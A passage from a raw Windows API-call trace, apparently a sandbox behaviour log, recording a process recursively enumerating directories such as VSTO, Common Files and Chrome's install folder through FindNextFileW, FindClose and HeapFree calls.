ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0274.653] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0274.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.653] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0274.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.653] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0274.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.653] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0274.653] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.653] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTA", cAlternateFileName="")) returned 1 [0274.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.654] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0274.655] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0274.655] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.655] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0274.656] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.656] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1 [0274.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.658] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1 [0274.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.659] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1 [0274.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.661] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1 [0274.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.661] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1 [0274.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.663] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0274.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0274.757] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0274.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0274.760] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1 [0274.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.760] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0274.760] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0274.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.761] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0274.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.763] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0274.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0274.827] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0274.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.841] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0274.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.842] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0274.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.890] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2eaa26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2eaa26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2eaa26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0274.890] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.890] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0274.938] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0274.939] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdadc.dll", cAlternateFileName="")) returned 1 [0274.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0274.940] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb5200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0274.940] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0274.942] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0274.942] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0274.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0274.942] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0275.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.019] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8de9172c, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x3558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eventlog_provider.dll", cAlternateFileName="EVENTL~1.DLL")) returned 1 [0275.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.020] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29aac04, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe29aac04, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5158e3b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9b9830, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0275.020] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.020] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b31dc6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b31dc6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8e1fed42, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x18758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="libegl.dll", cAlternateFileName="")) returned 1 [0275.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.037] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4647067, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4647067, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51640744, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="NACL_I~1.NEX")) returned 1 [0275.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.037] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 1 [0275.059] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.059] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0275.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.077] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4b5803b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="win_x64", cAlternateFileName="")) returned 0 [0275.077] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0275.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.077] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe295e71b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe295e71b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="_PLATF~1")) returned 0 [0275.077] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0275.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.077] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe46df998, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe46df998, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0275.077] FindClose (in: hFindFile=0x6ec170 | out: hFindFile=0x6ec170) returned 1 [0275.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.079] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b5803b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x8a617bee, ftLastWriteTime.dwHighDateTime=0x1d32555, nFileSizeHigh=0x0, nFileSizeLow=0x162558, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0275.080] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.080] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4b5803b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe571db72, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe571db72, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0275.080] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 